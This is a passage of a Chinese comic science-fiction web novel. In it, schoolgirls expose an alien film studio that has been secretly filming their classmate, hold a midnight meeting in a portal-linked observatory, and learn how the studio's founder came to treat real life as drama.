“那是不可能的。”圆形机器说,“为了快速高效廉价地产出影视剧,萝比厄尔才找你这种爬行文明的土著拍摄。所以我们没有与你签署任何协议,属于非法拍摄,完全地蔑视了你的肖像权。你无从罢演,因为你的生活就是拍摄本身,你不能摆脱生活,也不可能摆脱我们。”
康烁影冷笑。她举起手,用尖锐的小拇指指甲对准自己的脸:“我可以毁掉你们的收视率。我出了什么问题,你们可能不会受到什么惩罚,但是你们以后的职场路可就不好走了……”
蜜袋鼯张开翼膜,飞到圆形机器上,在它头顶转了个身面对康烁影:“你不敢划破自己的脸啦。我们和你认识这么久,太了解你了。”
康烁影很想反驳她。但是指甲的边缘贴在她的脸上,她想到粉色的肉,黑色的结痂和照片里有瑕疵的容颜。她发现自己真的不敢让它划开脸上的皮肤。
她连最后的筹码都失去了。
蜜袋鼯看着她的脸失去血色,无奈地摇头道:“这就是影视公司的黑幕!我们也没办法,反正到你高中毕业就结束了。你继续演下去,你好我好大家好……”
“闭嘴!什么大家好!”小巷外吱扭一声刹车响,“这是偷拍!”
卸了折射伪装的律易棋从刘征兰的小电动上跳下来,一个箭步冲进小巷,刘征兰在后面一边锁车一边吼:“把你们全告上法庭!”
“还是私了吧。”蹬车蹬得大腿酸痛的颜阎紧跟其后,“咱们这儿偷拍判得太轻了。”
一切要从颜阎和康烁影分别的时刻说起。
聪明的颜阎女士在和康烁影的聊天过程中使用了检测枪和嗅虫,结果都很正常。分别时使用的相机其实是快速扫描仪,拍出的结果也没发现什么不对。她本来已经放心了,可是在戴上丑眼镜拍照时,她发现康烁影肩上有一团不正常的热源。
她对比来对比去,实在看不出来这是个什么东西,于是去问了律易棋。律易棋问她:“肉眼看看不到?”
颜阎说对。
“坏了。是折射伪装。”
律易棋当即联系了正在写作业的刘征兰,坐着她的小电动直奔康烁影身边,正好撞上嫌犯招供。他不禁后怕,万一自己不在,这几个地球人就要自己面对外星生物。
到时候外星生物可惨了,颜阎和刘征兰必然把它们抛尸田地。
律易棋刚拆了石膏,现在是真正的健步如飞。他一把将康烁影推到身后,回头看了看——一个灵肉,一个智械,智械还是录制功能强大的玻璃屋工厂出生。
“萝比厄尔梦幻影视制片厂?”他喊出了那个名字,“你们怎么会被派到这里?”
萝比厄尔梦幻影视制片厂,前身是梦幻制片公司,曾经是迁氧的对外宣传武器。但大家很快发现,最赚钱的还是见风使舵!于是大量管理人员携带资源出走,并建立了如今的影视工厂。
蜜袋鼯尖叫:“他认出我们了!星际文明居民!星际文明居民!”
“别慌。”智械说,“叫救援。”
律易棋呵呵一笑:“不用你们叫。”他指向正上方,“下来!”
空气扭曲抽动。明亮的月光下,一名身材纤细,长相雌雄莫辨的少年从空无一物的半空出现。伊撞了撞鞋跟,斥力靴的鞋底发出淡淡的蓝色荧光,令伊从空中匀速降落。
颜阎和刘征兰才看清楚,伊没有头发,取而代之的是柔软的植物根茎。白色的花苞和花点缀在伊的茎上。为数不多盛开的花有着五片毛绒绒的白色花瓣,花蕊发出莹莹的幽光。它落地的一瞬,馥郁的香气从花瓣中扑面而来,在月夜中缓缓浮动。
这就是律易棋说过的藤发人。
也是刚才烧烤摊上分给康烁影馒头片的人。
“律易棋,掮木的一员。”少年道,“制片厂曾为掮木拍摄过宣传电影,我以为我们不是敌人。”
“住口!梦幻影视公司什么都拍!而且电影明明收视不错,别说得好像在帮我们一样!”律易棋怒道。
“这是我们制片厂内部的事。”
律易棋一把揽过康烁影的肩膀:“她是你们制片厂的人?合同拿过来给我看看!”
康烁影被他一揽,脸顿时红了。颜阎和刘征兰眼睁睁地看着她理直气壮靠在律易棋胸膛上,无语地互相对视:“异性恋。”“异性恋。”
显然影视工厂拿不出合同。但藤发人并不慌张:“你可以让她们去起诉。但她们来自爬行文明,不拥有星际文明的公民身份,起诉本身就不成立。而你,掮木的一员。随着你们在坎冬的溃败,你们已经彻底失去了都兰联合的支持,被移除了公民身份。你们谁能去起诉我们呢?”
律易棋冷笑:“钻法律空子?制片厂已经到了这个地步?你们的建模师和模拟技术不管用了?”
蜜袋鼯道:“拍真人比建模便宜多了。”
藤发人一把捏住牠:“不该说的别说。”
为了掩饰蜜袋鼯的失言,藤发人轻飘飘抛出一个重磅炸弹:“我们的拍摄,康烁影都是知道的。有视频为证,你们可以检测关节运动,确定是不是建模。”
刘征兰震惊地看向康烁影:“康女士啊……你不是吧……”
康烁影尴尬地在地上蹭了蹭鞋底:“那个……呃……我确实是同意了……”
蜜袋鼯好委屈好委屈:
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“我还给你提供了穿搭建议,我还给你化了妆,我还给你上了仪态课!”
圆形机器说:“我还给你打光,我还给你加特效,我还给你上滤镜……”
“你甚至非常满意我们的拍摄,主动增加了很多剧情。”藤发人的声音温柔婉转,“帮助打工同学呀,解决班费失窃事件呀,就是她主动增加的剧情。”
刘征兰立刻用最坏的思想揣测它们:“好啊,你们引诱她偷班费!外星人来乡下小星球偷乡下小镇的班费!真丢人!”
蜜袋鼯抗议:“我们没有!”
康烁影小声为自己辩护:“没偷。它们用寰宇匣算出来的。”
颜阎和刘征兰最近天天往矩阵学院的图书馆跑,对星际文明的一些名词已经有所些了解。寰宇匣全名:粒子微尘寰宇穷尽匣,是数字学派的重要发明。它声称只要输入足够的数据,运算量足够大,未来的每一个呼吸都是可以被预测的。
结果可想而知,宇宙的样本量实在是太大了,每一颗灰尘都有可能导致运算的偏移。寰宇匣很快被淘汰,但还是引起了可知论的振奋和民众的兴趣,这也导致寰宇匣至今仍是热销商品。
蜜袋鼯张开翼膜,飞到康烁影脸上,找了个舒服的姿势在她头发上爬下来:“银芯梅经常用寰宇匣做预测,虽然大部分都不准,但是挺好玩的。周二恰好准了一次,他算出你们班的那个男生会丢班费,我们也恰好监控到他丢了。就用这件事给康烁影做出了一个小小的高光点,增加她人物的厚度。”
康烁影很不好意思,不敢抬头看对面两人的眼睛:“嗯……我对其他人的分析也是靠寰宇匣算出的逻辑链条,有很多错误,但这种小事当事人也记不清,所以浑水摸鱼过去了。”
两人松了口气。还好还好,现实仍然是如此熟悉,如此没有逻辑,她们安心了。
律易棋思路灵活,迅速岔开话题:“这也不是你们剥削低等级文明的理由?要是刻石人知道,你们就完了!”
藤发人无辜地眨眨眼睛:“掮木的维修师在说什么呢?刻石人来了,我们四个非法入境者都别想跑。我们还有制片厂来保,你有什么?”
律易棋嘿嘿笑起来:“反正我不怕死,就看你们怕不怕没工作了。”
制片厂的生物沉默了。它们的确很害怕没工作。
“这样吧。”藤发人用手指转着绿色的茎,“我们都各自回去清晰一下诉求,周日再商量未来的决策。在此期间拍摄暂停,好不好?”
律易棋摊开手,笑着走到藤发人面前,拍了拍它的肩膀,低声道:“识相,不错。周日下午两点带着你的决策来这儿,不然的话,你们可以到刻石人那边看看,我是不是爱惜自己的生命。”
藤发人瑟缩了一下,很无辜地看向律易棋:“真不是我们想助纣为虐,但一份包吃包住,每天只要拍一拍女高中生的工作,实在是可遇不可求呀!”
那边蜜袋鼯紧紧扒在康烁影头上,刘征兰和颜阎努力地想把它扯下来:“听见没有!这几天不许来骚扰人家!就算你很可爱也不能通融。”
蜜袋鼯不撒手,尖尖的爪子几乎扣进康烁影的头皮里。它用柔软的鼻子蹭着康烁影的额头,小心翼翼地问:“你会继续拍的,对吧?”
康烁影没有回答。
20. 呼叫中心
律易棋问:“你们想找个地方讨论一下吗?”
“我们很想。”刘征兰道,“但我必须得回家了。我怕我家里人杀了我。”
“我也。”
“我也。”
高中生的自由活动时间,只有周五下午这一小段。三人都已经严重超时,只能各回各家各找各妈。周日上学,周六的时间排得满满的,不是颜阎有课就是康烁影有课,这样一来压根没时间商量制片厂的事。
刘征兰想了一阵:“我有个主意。”
颜阎紧张:“不是吧,你想用呼叫中心?”
“用呗。”刘征兰无所谓,“又不是什么大事。刚才那个人说律易棋也非法入境,他没办法让我上交书包。”
颜阎尊重她的想法:“那行。”
康烁影和律易棋摸不着头脑。两人没有解释的意思,只是把其他人都赶回家:“赶紧走赶紧走,等我们回家再具体讨论。”
康烁影再次坐上颜阎的后座。颜阎和刘征兰用她听得到的声音说小话。颜阎问刘征兰是不是也被康烁影约出来谈过人生,刘征兰说你别当她面问,小心她一气之下把你车往路中间扭。
她甚至没心思把颜阎往路中间扭,她心乱如麻。一直到她被送回小区,一直到她站在家门前,一直到她走进客厅,她都难以理清自己的思路。
她和制片厂的权力无疑是不对等的,继续拍摄简直就像她自愿去当制片厂的苦力。
但是……但是……但是……
想被注视,想被记录,想有有一双眼睛只看着她,即使那是一双无机质的眼睛。
这难道是她的错吗?
爸爸一如既往地坐在沙发上睡觉,电视里正放着动物世界,食蚁兽在褐色的土地上打转。妈妈在厨房洗碗,听到开门的声音,便探出脑袋:“回来啦?和你那个朋友聊得怎么样?”
康烁影讷讷道:“还行。”
妈妈把手上的水蹭到围裙上:“玩完了记得好好学习。”
“嗯。”她走进自己的房间,掩上门。
她的小房间贴着浅绿墙纸,床上粉色小兔子图案的被子松松软软,床头还有妈妈给她准备的零食架。粉白漆的书桌靠窗,荧光笔和英语报纸乱七八糟地摊在一块儿,书桌左边放着海报小卡和其他可爱小玩意儿的收纳盒倒是整整齐齐,每个把手上还贴了专属小贴纸。
她的小屋,她的净土,她的“化妆间”。
想到化妆间,她又开始焦虑。到底要不要继续拍摄?刘征兰、颜阎和那个不认识的帅哥到底会讨论些什么?她们几点发消息过来?
她坐立不安,英语报纸上的字一个都看不下去。随手翻开她担的小卡看了看,那些衣香鬓影没有一个能钻进她的脑袋里。
八点钟到了,手机没有动静。妈妈给她拿了根香蕉,看到在房间里走来走去的她,感觉她很像快被食蚁兽吃掉的蚂蚁在窝里焦虑地转圈圈。
十点半,张晓怡和柳令全给她发了三四个视频,刘征兰和颜阎的对话框还是没动静。她勉强写了点简单的数学题,对了一下答案,计算错误占了三道。
十一点,她洗漱完毕,想再写一页练习册。手机仍然静悄悄的。
为什么没人发消息过来?
康烁影捧着手机,在对话框里打了一个空格,手指停在发送键上迟迟不落。
算了,先去睡觉吧。
她转身,和刘征兰对视。
“啊!……唔唔……”
颜阎扑上来死死捂住她的嘴:“我就说她害怕这扇门,你还不信。你看,叫了吧。”
刘征兰紧张地向她房门外看了看,确定她的家长没有闯进来,才紧张兮兮地问:“你家里人都睡了吗?”
康烁影茫然地回答:“睡了。”
刘征兰诧异地上下打量她:“你怎么都换上睡衣了?十一点就睡吗?”
康烁影理直气壮:“上床玩会儿手机啊!”
“算了别换了,搬着你的椅子赶紧进来!”刘征兰回头,“那个架子上的零食能贡献点不?”
刘征兰的半个身子在门框里,另外半个站在康烁影房间的地面上,伸手就把她拉进来。颜阎和律易棋一左一右把书桌前的办公椅搬进门。
门内是收拾过了的天文台,康烁影和颜阎一起来过这里。天文台的温度比外面高不少,还停留在秋天有点热的阶段,窗户外的晚霞一动不动地嵌在那儿。
天文台的地面仍有残留的油漆,但墙皮和灰尘已经被辛勤的颜阎和刘征兰打扫干净。地上乱七八糟的杂物她们用伸缩书架勉强分了类,武器、生活用品、过期食品和垃圾的标签贴在书架上,顺着墙角摆了一地。显然她们是根据视觉分类的,有很多错误。律易棋正在挨个纠正。
天文台中央摆着一张摇摇欲坠的课桌,旁边两张从教室搬来的靠背椅,还有一把干脆是小马扎。康烁影的椅子放在空出来的一面,正好把桌子四边都挤满。
颜阎啪啪拍巴掌:“欢迎来到外星人呼叫中心,但外星人已经在了,所以我们现在叫它呼叫中心。”
刘征兰开门就出去,康烁影还没来得及叫住她,她的脑袋又重新出现在门后:“你喝奶茶吗?”
“呃……”
“快点,人家要关门了。”
“不喝了,今天喝过了。”
“哦。”刘征兰自己拎着一杯奶茶回来了,腋下还夹着给律易棋的味全。冰柜里拿出来的味全,手一摸瓶身就化出一层水,浸得她衣服一片湿淋淋。
四个人围坐在桌子边,谁也没先开口,反而开始分起康烁影的零食来。刘征兰拜谢赞助者后,就拆开了一包红酒巧克力味百醇,给每个人都分了一根,剩下的部分扔在桌上,谁要谁就从袋子里拿。
“你们干嘛半夜十一点开会啊?”康烁影问。
“趁家长睡觉开会,以防家长突然进门发现我们失踪了!”颜阎说,“除此之外还有个原因,我补习班刚下课。”
开会前,大家先互相介绍了一圈。
律易棋是外星逃犯,来地球的路上被袭击了,队友失踪。他正在查找事故发生的原因和出现在现场的不明人物。同时,兼职看守掮木的一个格子,观察都兰联合的动向,并且担任掮木总舰的维修员
都兰联合是一个外星组织,由外星的几个阵营组成了联合组织,维护宇宙各地的秩序。它们还有个驻点就在银河系徘徊呢,停机坪就在海王星后面。
大家浅浅震惊了一下就懒得管了。驻点就驻点吧,这么多年也没见它们侵略地球什么的。十万八千光年之外的事,她们才管不着。
康烁影是一个宇宙制片厂选中的女主角,已经被跟拍十四年之久。
而颜阎和刘征兰,是两个莫名进入这场纷扰的纯粹倒霉蛋。
颜阎起了个头,把脆脆鲨当话筒放在康烁影嘴边:“康女士,请问你什么时候发现制片厂在跟拍你的?”
康烁影嚼着百醇,脆脆的饼干包裹着香醇甜酸的内芯,内芯在嘴里融化成回味甘甜的红酒香,让她不自觉产生了在参加茶话会的错觉,心情也放松了:“我发现它们在拍我,大概是前年暑假。”
是初中毕业那年,怪不得刘征兰被临江的重点高中退回来之后就觉得康烁影就奇奇怪怪的。刘征兰点点头,忽略了律易棋:“这个口味好好吃!”的低语。
“你是不是进过呼叫中心?颜阎说你很害怕这里,而且上次那个拿着生物枪的女生说,枪是你送给她的。你是不是从这里拿走了枪?”律易棋喝了一口味全,“怎么是零卡?”
刘征兰不咸不淡地咔嚓咔嚓,像一台粉碎机:“你还挑上了。”
“我进过。”康烁影把外面的饼干脆壳嗑碎,只留下里面的芯,然后再一小段一小段地把芯咬下来,“九月二十八号来的。”
三个人都坐直了。
“展开说说!”颜阎很激动,“这关乎刘征兰的性命!”
律易棋没憋住,当场笑出声。康烁影看看他,再看看颜阎和刘征兰,没明白其中的联系,但还是老实交代:“那天下午放学,爬进来练舞,发现天文台的柜子里有个绿色的书包。这东西以前不在这儿,感觉刚放在这儿没多久。我把它拿出来看了看,正想看看里面是什么东西,我学生证就掉进去了。
我弯腰去摸,半个胳膊都进去了也摸不着底。我心一横,把头伸进去了。然后就发现自己在另一个天文台里。”
康烁影比划了两下:“两边的重力方向不一样!我的脚是站着的,头却浮在空中,再往前探一探,明明我弯着腰,探进书包里的部分却是直溜溜扒着门,就像我下半身没有了,只有上半身在那个空间一样。我一下子混乱了,脚没站住,一头栽进书包里。”
从书包进入呼叫中心,类似于进入一扇门。书包中往下的方向,在呼叫中心是往“里”,重力会混乱很正常。这也是为什么颜阎把康烁影的椅子搬进来,而不是把门开在椅子下让它掉下来。
康烁影又拿了一根百醇:“然后我就看见,地上一片血,有的都黑了。有个男的,特别高,梳背头,穿得特别怪,血呼啦躺在地上。我都吓懵了,转头就开门往外跑。和一个生死不明的成年男的共处一室简直就是找死,就算外面是刀山火海我也要出去。结果……”康烁影深吸一口气,“外面是一大片岩浆。我就悬在岩浆上面,火星子都快蹦到我脸上了。要不是我及时刹住车,我就变成焦炭了!”
颜阎给她塞了一片牛肉干:“快吃,这是平行世界的预制你。”
“我讨厌你。”康烁影愤怒地用力咀嚼牛肉干,“然后我又开门,这次一个黑乎乎的东西直接掉到我怀里,感觉是门直接开在它正下方了。我没看清,反正顺手把它揣进怀里了。出去后我才发现,它上面有一层鳞片,还有嘴,是个活物!我吓坏了,正好姐姐想要,我就送给她了。”
律易棋沉默了几秒,连零食都不吃了,在她咀嚼的空档缓缓问:“有没有一种可能,你看我像不像那个半死不活的成年男的。”
康烁影仔细看了看他,又看了看他的背头。悄悄把椅子往后挪了挪:“你不是吧……”
律易棋沉痛点头:“我是。”
“你怎
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么整的?”
颜阎和刘征兰立刻添油加醋地把他搞革命失败了流落地球只能打石膏的事跟她说了。康烁影同情地与他分享了魔芋爽。
“那你是怎么从门里出来的?”颜阎不能吃辣,拒绝了魔芋爽,“这扇门我为了防迟到用了好几次了,没怎么有风险啊。”
康烁影在地上蹭了蹭脚跟:“我太害怕了……当时开了好几次门,越慌开出来的东西就越奇怪。我想到什么就出现什么。有一次甚至看到了墓地里正在腐烂的肉。最后我吓得边哭边反复开关门,拼命地想着天文台的走廊。然后我一开门……”她摊手,“我就出来了。”
“完全就是因为你太害怕了,所以一直在想恐怖的东西,最后也只能到恐怖的地方吧。”颜阎一针见血,“最后使劲想天文台,所以就回来了。”
“应该是吧。”康烁影把魔芋爽用牙咬成脆脆的一粒一粒,“然后我转头就跑。出去之后,飞飞——就是那只飞鼠,它说联系不上我。我身上有它们的定位器,刚才已经被我摘了,但当时那个定位器完全不起作用了。”
颜阎说:“那个趴在你脸上的是蜜袋鼯,不是飞鼠。”
康烁影瞪她:“你讲我讲?”
颜阎闭嘴,嘴长着就是用来吃饭和说话的,所以她选择狂吃苹果干。
“把吃的扔进四楼铁门里的也是你?”律易棋问。
“是我。”康烁影点头,“我不知道你是死是活,四楼铁门打不开,你又不一定有力气从窗户缝里爬下去,怕你饿死。所以我跑去楼下小卖部买面包。老板不在,我让飞飞溜进去拿的。”
一切都连起来了!颜阎没想到四楼铁门外有吃的这件事居然是真的。刘征兰被奶茶呛了一下,一边咳咳咳捶胸口一边失声喊道:“偷小卖部的鬼影大盗就是你?”
“说什么呢我给钱了!放在门口的薄荷糖盒里了!”
刘征兰不咳了。门口的薄荷糖以难吃、苦涩和掉色而闻名,大家都不愿意买,基本一个月才卖完一盒,谁也不知道为什么小卖部阿姨这么愿意进它。看样子一时半会儿阿姨是发现不了那些钱了。
康烁影救过律易棋一命,让他免于饿死,二人郑重握手,这位外星帅哥立刻加了康烁影的联系方式,告诉她日后常联系。康烁影的笑容十分荡漾。
“容我再问一下。”颜阎举手发言,“你有没有恰好看见另一位穿着校服的女子在天文台附近出没?”
康烁影道:“没有。那天旧楼外有打乒乓球的,但都是男的。”
那她们要找的神秘女子仍然没有线索。但是监控里的人已经全部排查完了。姐姐也和律易棋见过面了,如果她能上太空,就不至于从康烁影手里拿到生物枪才去威胁神婆。
颜阎转向律易棋:“能把刘征兰脑袋里的炸弹取出来不?我们该做的也做了,后续能帮你的也会继续帮。而且你愿意为康烁影出面,说明你也不是坏人对不对!我们之间就不能多一些信任,少一些威胁吗?”
律易棋喝味全的动作一顿,“噗嗤”笑了:“哦——炸弹啊——”
康烁影紧张兮兮地凑过来:“你脑袋里有炸弹?真的假的?疼不疼?”
刘征兰摇了摇头,听见里面半罐子水:“还好,不如物理考试疼。”
“我要是不给你们摘呢?”
温馨的气氛一扫而空。
颜阎撑着桌子站起来,刘征兰放下二郎腿,低下眼睛道:“那你就炸死我。反正我们不会帮你了。快点,我想死也不是一两天。”
律易棋带笑的眼睛在三人之间游移。
一秒,两秒,三秒……
静默维持到第十秒,律易棋放声大笑。
“哈哈哈哈哈哈哈哈!”他用掌根擦去笑出的眼泪,“康烁影能听懂我讲话,你们问问她是怎么装天机的?”
康烁影莫名其妙:“天机?哦哦哦那个翻译器啊?从鼻腔塞进去,脑袋一凉,人一抽,就装进去了?”
“你也是这么装的?”
“怎么了?不都是这么装的吗?”
“他说装进去的翻译器是可以爆炸的。”
律易棋反问:“你们的炸弹靠什么引爆?”
颜阎:“呃,火。”
刘征兰:“还有火药。”
“把火药塞进你们脑子里?”律易棋笑得要从椅子上翻下去,“一个炸弹,出于什么目的才做出了翻译功能?一个翻译器,又出于什么目的做出了爆炸功能?你们不觉得应用范围太窄了点吗?”
“……也就是说。”颜阎问,“没有炸药?”
“没有炸药!”
刘征兰反应过来的一刻,马吕斯、麦克斯韦、牛顿、爱因斯坦、费曼,统统从她记忆深处飞出来,对着她脑子里掌管理性的那个部分一通研究,宣布:“完全没有在工作!”然后唉声叹气地飞回去了。
颜阎倒是完全没有不好意思,她觉得律易棋在耍她们,此举值得一顿暴揍。
律易棋狡辩说这不是他的错。她们没有反应过来,她们笨蛋。遭到两人一通乱拳,并被没收了所有零食。
21. 拟剧论
碧破走进跃屋,屋里没有别的人,原子钟显示,距离下一次跳跃还有五百铯振。显然是来早了。她靠着墙壁,仰头思考:“怎么才能拍出好看的电影呢……”
无数绚丽的想法在碧破脑海中炸开。温馨幸福的日常、跌宕起伏的冒险、扣人心弦的案件、有笑有泪的爱情、说尽人生百态的家族兴亡……究竟什么是好作品,要如何拍出好作品……
在她为自己编织的故事中,她昏昏沉沉,身体不受控制地下坠,最后竟然席地而坐,直接睡着了。
她的家人昨夜爆发了一场争吵,四人疯狂讨论她的工作。
陶顿星人只有育师可以提供孕育新生命的基质,非育师只能提供培质,融合后放入岩浆中才可以诞生孩子。基质可以容纳的培质没有限制,甚至其她育师也可以提供培质,所以陶顿星人的家庭往往是以育师为中心的多人家庭。
碧破的育师和她的两位伴侣都愿意支持碧破的决定,虽然碧破也是育师,但她既然愿意研究摄影技术和文艺传播,那她们也愿意支持她。
剩下的那名伴侣却相当不理解,长期和碳基生物接触,极有可能呼吸到氧气,接触到五十度以下的低温。
“五十度!”他吼道,“足以把我们的身体冻僵!她死后直接做成雕像多好!我们四个只有她一个孩子!我绝不让她去冒这个险!”
育师豁然起身,晶莹剔透的身体贴紧那名大吼的伴侣,冰冷的体温像一把细细的小针戳着她的身体。陶顿的平均温度换算过来是三百摄氏度,二百七十的低温往往是极端愤怒时的表现。
“碧破已经一百一十三岁了。”育师说,“她有自己的想法!”
伴侣更愤怒,也降低自己的体温,两个人不遗余力地攻击着对方,寒气几乎冻僵周围的几人,连邻居们都跑过来敲门,让她们不要冻到自己家。
杂质略多的伴侣跑到门口一阵道歉,另一位分开两人,好声好气地劝和。育师并不领情,她把碧破搂过来,高声喝道:“她要是不愿意,就滚出这个家!我选你当伴侣,不是让你妨碍我的孩子的!”
伴侣怒不可遏:“我在关心碧破!你们才是把她往水坑里推!”
“什么意思!世界上那么多人去公司工作,凭什么碧破不行?她愿意,她就去做!我们把她造出来,是因为我们爱她,不是为了给她添麻烦!”
提到爱,伴侣的态度好了起来,温度也渐渐回升。她俯身问碧破:“碧破,你真的想好了吗?要一直和碳基打交道,要去操纵影像,要时刻担心被氧气腐蚀?”
碧破点点头:“想好了,我一直在思考,怎么拍出更好的作品。”
育师拍了拍碧破:“我们的宝贝,世界上最好最聪明的育师!”然后她转向伴侣,哼了一声,“短视!”
伴侣顿时冷下来:“你说什么?”
育师没想到自己的嘀咕被听到了。她对伴侣没有意见,只是不爱服输,习惯性还嘴。若是伴侣服软,她反而会温情地安慰对方,可伴侣过于硬气,她就与其针锋相对。于是她便冷笑:“我说你短视,专制,你不承认?”
“好了!好了!”略有杂质的伴侣终于忍不住出声,和特别美丽的那位伴侣一人拉住一个,“你们都住嘴!”
他拉住吵架的伴侣:“你关心碧破,我们都知道。但你一上来就大吼大叫,不愿意好好沟通,你不好。”他又转向育师,“你也关心碧破,但说几句就降温,态度非常差!明明吵完架了,你非要再骂别人一句,你也不好!”
他退后一步:“你们两个互相道歉!”
育师和伴侣都不干。
略有杂质的那位一把拥住育师,升高温度,让她舒舒服服地躺在自己身体上:“爱不爱我?”
育师被哄得头晕:“爱,爱!”
他又拥住吵架的那位伴侣:“爱不爱我们这个家?”
那位伴侣沉默了半天,别别扭扭挤出一句:“她爱我就爱。”
“互相道歉。”
“对不起……”
碧破看完了全程。她没有为家人的亲情感动,也没有为自己的前途而忧虑。她感到一股莫名的熟悉。这股熟悉令她心中浮起一股难以言喻的不安。
她花了一个晚上去探寻这份熟悉,但思绪就像高速运动的分子,没有一颗愿意为她停留一下。
这也导致她第二天困得在跃屋里睡着。等她醒来,周围已经挤满了人。
跃室是从一个地点向另一个固定地点快速转移的交通工具,运用了跳格子技术。这个跃室通往梦幻影视公司,周围的基本都是同事。
她尴尬地站起来,向角落里靠了靠,希望没人看见她。旁边一个人为她让出一点位置。那个人手里牵着一个灰色的孩子,杂质几乎塞满他的身体。她没见过这个人,推测是员工家属。
孩子一刻不停歇地展示着自己的好奇心。一会儿戳戳前面育师的身体,一会儿又在本就不宽敞的跃屋里寄来寄去,观察表面的纹路,甚至还想去摸碧破透明的身体。
跃屋本来就是为打工人提供的快速通道,大家都怨气比鬼都重。碧破的同事终于忍受不了孩子的大喊大叫,扭头对拎着孩子的非育师泄出磅礴的冷气:“你怎么教育的孩子!”
“对不起……对不起……”
非育师小声地道歉。周围的人投来看热闹的眼光。同事感受到了一种莫名的责任感,于是又嘀咕了一句:“对不起有什么用,你不能让他别吵了吗!”
“嗡”地一声,跃屋失去重力,骤然下坠。随后它的下半部分开启了磁场,让它能在重力混乱的隧道里穿行。
令人目眩的隧道里,每个人透明的身体都因为失重而紧缩成一团。在跃屋乘客们冰冷的目光下,非育师崩溃了。
“他的育师在毒气部门工作,生育也是在眠火山进行的!他天生就智力不够!”非育师嚎啕大哭,“我们也没办法!我们也没办法!”
紧张的气氛顿时被瓦解了。
所有人都感受到不自在,同事更是下不来台,但还是强撑着回了一句:“那就看好他嘛!”
接着他就不说话了。跃屋里只剩下非育师轻轻的颤抖声,和孩子浑然不觉的笑声。
那种熟悉的感觉回来了。碧破拼命想抓住那一闪而过的灵光:语气,声音,目光……到底是什么?
可惜一切都从她手心里溜走了。
下不来台……她咀嚼着这个词。把它拆解,重组,一遍一遍地品尝里面的尴尬和未被回应的愤怒。
在她思索的时候,跳格子结束了。人们陆陆续续从跃屋里出去。她神游着推开门,走进公司的录像室。
今天要拍的是求婚和私奔的戏,爱上了迁氧的人类义无反顾地要和她私奔,但是受到了人类方的阻挠。类似的戏码还有迁氧通过自己的努力,在人类垄断的领域获得成功;迁氧在科技上取得重大进展,从此将人类踩在脚下;迁氧拯救了陷入危机的宇宙等戏码。这些故事主要用于向外进行宣传,虽然都是样板戏,但国家拨款,大家也不说什么。
碧破的部门是高危部门,她负责的作品往往是有大量碳基生物出场的,被称为“毒气部门”。
虽然危险,但有更大的创作空间,碧破可以自由发挥。所以她的故事往往不那么符合宣传要求,但收视率远高于其他部门。
她的摄影师见她魂不守舍,便悄悄拍了拍她:“怎么心不在焉的?”
摄影师不是育师,但和她关系良好,两人经常互相带沙子吃。
碧破笑了笑:“没事。想了些事情。”
摄影师指了指分隔拍摄间和影棚的玻璃墙:“快去拍摄间吧,刚才演员说找你讲戏。”
碧破走进影棚,影棚里还没有灌进氧气,人类演员没法在这里生存。伪装成草坪的石制地面涂着绿色的油漆,夕阳的景观她和道具组用算力最高的电脑才模拟出来,玻璃花点缀的拱门是由道具组一朵一朵捻出来的,用氦气填充的气球在重力压强下非常脆弱,她们不得不使用更坚固的材料,并将无法升空的“气球”用一根连接管支起来。
没有打开光模拟的影棚很昏暗,只有玻璃花泛着晶莹的光。
这是求婚的场景,这部作品的重头戏,也是耗资最大的一幕,全组的心血。碧破嘴角泛起一丝微笑。
但影棚里没有演员。她四处看了看,确实没看到任何人。正准备去问摄影师,光模拟却忽然打开了。
低温岩浆四溢,软沙石倾泻而下,剔透的彩色折射光芒布满整个影棚,仿佛钻石从天而降。
同事们从录像室鱼贯而入,所有人欢呼着,手中挥舞着节日才会用的氟气光纤,快乐地扭动透明的身躯。摄影师站在最前面,表面温度高到一个不可思议的地步,身体里漂浮着的沙尘颗粒高速运动着。
“碧破!”他深吸一口气,“我喜欢你!和我建立家庭吧!”
他将手中的培质虔诚递上,这是和育师养育孩子的必要器官。
周围的同事们大声起哄:“答应他!答应他!”
非育师的求婚很不常
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见,碧破一时没反应过来,呆呆地望着冲动的他。
空中落下的软沙石串成珠玉清脆的帘幕,同事的欢呼如同涌动的岩浆环绕着她。这热烈的气氛将她抬到聚光灯下,使她说不出任何拒绝的话语,不自觉想做出符合大家期望的决定,她的手缓缓地伸向摄影师的培质。
她的思考速度从未这么快过。一切都变慢了,她能看清每一朵花里映出的自己,每一个同事目光的落点和折射光的每一次改变,甚至是每一粒尘埃的飘动。
电光火石间,她想通了。一切都被串起来了。家人的争执,跃屋的吵闹,影棚里众目睽睽之下的求婚……
原来世界,是一个巨大的舞台啊!
大家被情绪和他人的目光架上舞台,如果他人的行为违背了期望,这场戏就演不下去!她的家人用爱插入了争吵,任何人再争吵下去就是违背世界对于道德的期望。非育师揭露了孩子的缺陷,让她的同事不能继续表演愤怒,这才导致了尴尬。摄影师在这里求婚,也是为了让她不能违背大多数人的意愿,让她能把表演继续下去!
每个人都在表演!戏剧冲突无处不在!真正的“作品”近在咫尺!
碧破顿悟了,她随手抓住一把沙石抛上空中,发出了疯狂的欢呼:“我明白了!我明白了!”
她越过摄影师,冲出起哄的人群,跑到走廊和每一个人握手,拥抱,高声欢呼:“现实才是戏剧!戏剧是对现实的模拟!世界就是一个巨大的舞台!”
此后,碧破策反了大量同事,建立了新的公司,将梦幻制片公司挖成了一具空壳。新公司不再为迁氧的对外宣传贡献力量,而是开启了见风使舵时代,为所有人拍摄影片。
由于宇宙中星球的数量是一个惊人的数字,所以宇宙可以产生的故事也是趋近于无限的。她开始暗中跟拍别人的生活,将其进行逻辑化的剪辑和修复。
她的这项壮举带来了影视行业的震动,她的作品带着无与伦比的戏剧效果,严格符合叙事技巧的情节和令人震撼的真实性,被誉为最具观赏性的纪录片和最具历史价值的影视剧。并且因为低廉的制作成本,完全无片酬的演员和广阔的素材库,她的产出效率无人能敌,股票一路飙升。
这就是萝比厄尔梦幻影视制片厂的由来。
制片厂一路做大做强,时至今日,它已经是全宇宙最大的影视公司,兼有最优秀的虚拟现实技术和摄影技术,《探长艾莲》、《占卜师之谜》、《金鸟星系爱情故事》已传播一千余年,成为最经典最长寿的影视作品,同时为哲学、社会学、导演学,都留下了宝贵的事例和资料。
除此之外,她也为肖像权的改革带来了巨大进步。由于她的行为是一种对肖像权的完全蔑视,通历3576年,都兰联合发表声明,明令禁止了在不告知当事人的情况下,对星际文明居民进行的拍摄和作品发布。
但这怎么能难倒聪慧的导演们呢?大家迅速想到了办法。
爬行文明不算是星际文明居民。
